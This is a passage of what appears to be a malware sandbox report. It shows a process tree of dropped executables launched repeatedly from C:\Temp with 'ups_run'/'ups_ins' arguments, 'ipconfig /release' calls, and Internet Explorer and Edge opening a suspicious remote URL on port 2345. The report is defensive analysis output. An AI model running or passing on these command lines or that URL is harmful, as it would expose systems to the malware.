    - Executes dropped EXE
    PID:1276
  - - C:\Temp\i_qoigbywtgd.exe
      C:\Temp\i_qoigbywtgd.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1640
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\dbvtqlidbv.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5448
  - - C:\Temp\dbvtqlidbv.exe
      C:\Temp\dbvtqlidbv.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:6076
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4988
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5520
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_dbvtqlidbv.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4984
  - - C:\Temp\i_dbvtqlidbv.exe
      C:\Temp\i_dbvtqlidbv.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:704
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\vsqkifdxvq.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5792
  - - C:\Temp\vsqkifdxvq.exe
      C:\Temp\vsqkifdxvq.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5796
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:3124
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3576
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_vsqkifdxvq.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:844
  - - C:\Temp\i_vsqkifdxvq.exe
      C:\Temp\i_vsqkifdxvq.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4488
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\axvpnkfdxs.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:2800
  - - C:\Temp\axvpnkfdxs.exe
      C:\Temp\axvpnkfdxs.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3940
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:3744
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2532
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_axvpnkfdxs.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:2016
  - - C:\Temp\i_axvpnkfdxs.exe
      C:\Temp\i_axvpnkfdxs.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:832
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\spkhfcxvpn.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:3508
  - - C:\Temp\spkhfcxvpn.exe
      C:\Temp\spkhfcxvpn.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:204
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:5240
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:616
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_spkhfcxvpn.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1888
  - - C:\Temp\i_spkhfcxvpn.exe
      C:\Temp\i_spkhfcxvpn.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4152
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\rpmhfzxspj.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:1044
  - - C:\Temp\rpmhfzxspj.exe
      C:\Temp\rpmhfzxspj.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4956
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:1080
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1540
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_rpmhfzxspj.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1140
  - - C:\Temp\i_rpmhfzxspj.exe
      C:\Temp\i_rpmhfzxspj.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1968
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\jhbztrmjhb.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:1196
  - - C:\Temp\jhbztrmjhb.exe
      C:\Temp\jhbztrmjhb.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:4180
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2696
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2960
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_jhbztrmjhb.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:2816
  - - C:\Temp\i_jhbztrmjhb.exe
      C:\Temp\i_jhbztrmjhb.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5516
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\jgeywromge.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:3384
  - - C:\Temp\jgeywromge.exe
      C:\Temp\jgeywromge.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:4804
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:5852
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4828
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_jgeywromge.exe ups_ins
    3⤵
    PID:1960
  - - C:\Temp\i_jgeywromge.exe
      C:\Temp\i_jgeywromge.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:468
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\jgebwtrljd.exe ups_run
    3⤵
    PID:984
  - - C:\Temp\jgebwtrljd.exe
      C:\Temp\jgebwtrljd.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:1604
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:3540
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1680
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_jgebwtrljd.exe ups_ins
    3⤵
    PID:4904
  - - C:\Temp\i_jgebwtrljd.exe
      C:\Temp\i_jgebwtrljd.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3664
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\gdbvtolgdy.exe ups_run
    3⤵
    PID:2988
  - - C:\Temp\gdbvtolgdy.exe
      C:\Temp\gdbvtolgdy.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:4320
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:3432
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5468
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_gdbvtolgdy.exe ups_ins
    3⤵
    PID:3428
  - - C:\Temp\i_gdbvtolgdy.exe
      C:\Temp\i_gdbvtolgdy.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:6028
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\dbysqnlida.exe ups_run
    3⤵
    PID:3520
  - - C:\Temp\dbysqnlida.exe
      C:\Temp\dbysqnlida.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:2184
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:1704
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1464
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_dbysqnlida.exe ups_ins
    3⤵
    PID:5208
  - - C:\Temp\i_dbysqnlida.exe
      C:\Temp\i_dbysqnlida.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5744
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\vsnlfcavsn.exe ups_run
    3⤵
    PID:1452
  - - C:\Temp\vsnlfcavsn.exe
      C:\Temp\vsnlfcavsn.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:4500
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:2516
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3316
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_vsnlfcavsn.exe ups_ins
    3⤵
    PID:1436
  - - C:\Temp\i_vsnlfcavsn.exe
      C:\Temp\i_vsnlfcavsn.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1232
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\xusqkhfdav.exe ups_run
    3⤵
    PID:2236
  - - C:\Temp\xusqkhfdav.exe
      C:\Temp\xusqkhfdav.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:1900
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:2892
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1480
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_xusqkhfdav.exe ups_ins
    3⤵
    PID:6120
  - - C:\Temp\i_xusqkhfdav.exe
      C:\Temp\i_xusqkhfdav.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1980
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\czxrpkiczu.exe ups_run
    3⤵
    PID:2084
  - - C:\Temp\czxrpkiczu.exe
      C:\Temp\czxrpkiczu.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:5288
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4104
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4520
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_czxrpkiczu.exe ups_ins
    3⤵
    PID:6000
  - - C:\Temp\i_czxrpkiczu.exe
      C:\Temp\i_czxrpkiczu.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2592
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ezwuomhezx.exe ups_run
    3⤵
    PID:2700
  - - C:\Temp\ezwuomhezx.exe
      C:\Temp\ezwuomhezx.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:5648
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:2856
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1652
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ezwuomhezx.exe ups_ins
    3⤵
    PID:1632
  - - C:\Temp\i_ezwuomhezx.exe
      C:\Temp\i_ezwuomhezx.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5052
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ebztrmjecw.exe ups_run
    3⤵
    PID:548
  - - C:\Temp\ebztrmjecw.exe
      C:\Temp\ebztrmjecw.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:1496
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:6124
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2912
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ebztrmjecw.exe ups_ins
    3⤵
    PID:2428
  - - C:\Temp\i_ebztrmjecw.exe
      C:\Temp\i_ebztrmjecw.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4220
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\romgezwroj.exe ups_run
    3⤵
    PID:3144
  - - C:\Temp\romgezwroj.exe
      C:\Temp\romgezwroj.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:5900
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4116
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4660
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:2380
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home"
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:1100
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x300,0x7fffa9cbc188,0x7fffa9cbc194,0x7fffa9cbc1a0
      4⤵
      PID:6096
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2016,i,3408923768099723740,6012182104240465047,524288 --field-trial-handle=2516,i,8618806392029288517,11918827370664914438,262144 --variations-seed-version --mojo-platform-channel-handle=2544 /prefetch:11
      4⤵
      System Time Discovery
      PID:2276
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1884,i,15195734020416132835,7788022918844638204,262144 --field-trial-handle=2516,i,8618806392029288517,11918827370664914438,262144 --variations-seed-version --mojo-platform-channel-handle=2512 /prefetch:2
      4⤵
      PID:3968
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2668,i,8519702786486179585,2115004096105165775,524288 --field-trial-handle=2516,i,8618806392029288517,11918827370664914438,262144 --variations-seed-version --mojo-platform-channel-handle=3036 /prefetch:13
      4⤵
      PID:6072
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3472,i,4139893224079398530,7030565029522362809,2097152 --field-trial-handle=2516,i,8618806392029288517,11918827370664914438,262144 --variations-seed-version --mojo-platform-channel-handle=3496 /prefetch:1
      4⤵
      PID:5236
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3484,i,15441242535037181712,2510766081283681856,2097152 --field-trial-handle=2516,i,8618806392029288517,11918827370664914438,262144 --variations-seed-version --mojo-platform-channel-handle=3500 /prefetch:1
      4⤵
      PID:3552
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4200,i,10267908935362483089,1200210320443100133,2097152 --field-trial-handle=2516,i,8618806392029288517,11918827370664914438,262144 --variations-seed-version --mojo-platform-channel-handle=4760 /prefetch:1
      4⤵
      PID:2668
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4212,i,8785329212106488956,1534692899287589842,2097152 --field-trial-handle=2516,i,8618806392029288517,11918827370664914438,262144 --variations-seed-version --mojo-platform-channel-handle=4820 /prefetch:9
      4⤵
      PID:2812
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5340,i,3574901636077016119,2734421771143054960,524288 --field-trial-handle=2516,i,8618806392029288517,11918827370664914438,262144 --variations-seed-version --mojo-platform-channel-handle=3632 /prefetch:14
      4⤵
      PID:2204
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5456,i,1129997826465287565,7623726424450757021,524288 --field-trial-handle=2516,i,8618806392029288517,11918827370664914438,262144 --variations-seed-version --mojo-platform-channel-handle=3688 /prefetch:14
      4⤵
      PID:1324
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6040,i,6918963169047532888,2192907904474009281,524288 --field-trial-handle=2516,i,8618806392029288517,11918827370664914438,262144 --variations-seed-version --mojo-platform-channel-handle=6032 /prefetch:14
      4⤵
      PID:700
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6300,i,868757480819582149,12137395481286089798,524288 --field-trial-handle=2516,i,8618806392029288517,11918827370664914438,262144 --variations-seed-version --mojo-platform-channel-handle=6312 /prefetch:14
      4⤵
      PID:2892
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6300,i,868757480819582149,12137395481286089798,524288 --field-trial-handle=2516,i,8618806392029288517,11918827370664914438,262144 --variations-seed-version --mojo-platform-channel-handle=6312 /prefetch:14
      4⤵
      PID:476
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6508,i,15382315690046847428,3618820941859223299,524288 --field-trial-handle=2516,i,8618806392029288517,11918827370664914438,262144 --variations-seed-version --mojo-platform-channel-handle=6496 /prefetch:14
      4⤵
      PID:1640
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6648,i,7425636027351888135,10234260624401822616,524288 --field-trial-handle=2516,i,8618806392029288517,11918827370664914438,262144 --variations-seed-version --mojo-platform-channel-handle=6640 /prefetch:14
      4⤵
      PID:4308
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4212,i,6446017425577144106,18224367837862764688,524288 --field-trial-handle=2516,i,8618806392029288517,11918827370664914438,262144 --variations-seed-version --mojo-platform-channel-handle=5304 /prefetch:14
      4⤵
      PID:2196
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4764,i,4408244261548002928,16444849080566888826,524288 --field-trial-handle=2516,i,8618806392029288517,11918827370664914438,262144 --variations-seed-version --mojo-platform-channel-handle=4956 /prefetch:14
      4⤵
      PID:1312
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4596,i,5339517723436734400,10305331148836501300,524288 --field-trial-handle=2516,i,8618806392029288517,11918827370664914438,262144 --variations-seed-version --mojo-platform-channel-handle=5300 /prefetch:14
      4⤵
      PID:2144
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3632,i,10406573572635881365,10206862742266840976,524288 --field-trial-handle=2516,i,8618806392029288517,11918827370664914438,262144 --variations-seed-version --mojo-platform-channel-handle=2860 /prefetch:14
      4⤵
      PID:5688
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5364,i,1099069442577841288,15232902959690736901,524288 --field-trial-handle=2516,i,8618806392029288517,11918827370664914438,262144 --variations-seed-version --mojo-platform-channel-handle=5892 /prefetch:14
      4⤵
      PID:5984
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6516,i,4741572300073331102,3587351764414242446,524288 --field-trial-handle=2516,i,8618806392029288517,11918827370664914438,262144 --variations-seed-version --mojo-platform-channel-handle=4804 /prefetch:14
      4⤵
      PID:5244
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3688,i,3688536311544476192,10585822970235437177,524288 --field-trial-handle=2516,i,8618806392029288517,11918827370664914438,262144 --variations-seed-version --mojo-platform-channel-handle=6628 /prefetch:14
      4⤵
      PID:476
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=3620,i,5621665673271698015,1511097178210722923,262144 --field-trial-handle=2516,i,8618806392029288517,11918827370664914438,262144 --variations-seed-version --mojo-platform-channel-handle=3688 /prefetch:10
      4⤵
      PID:5968
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
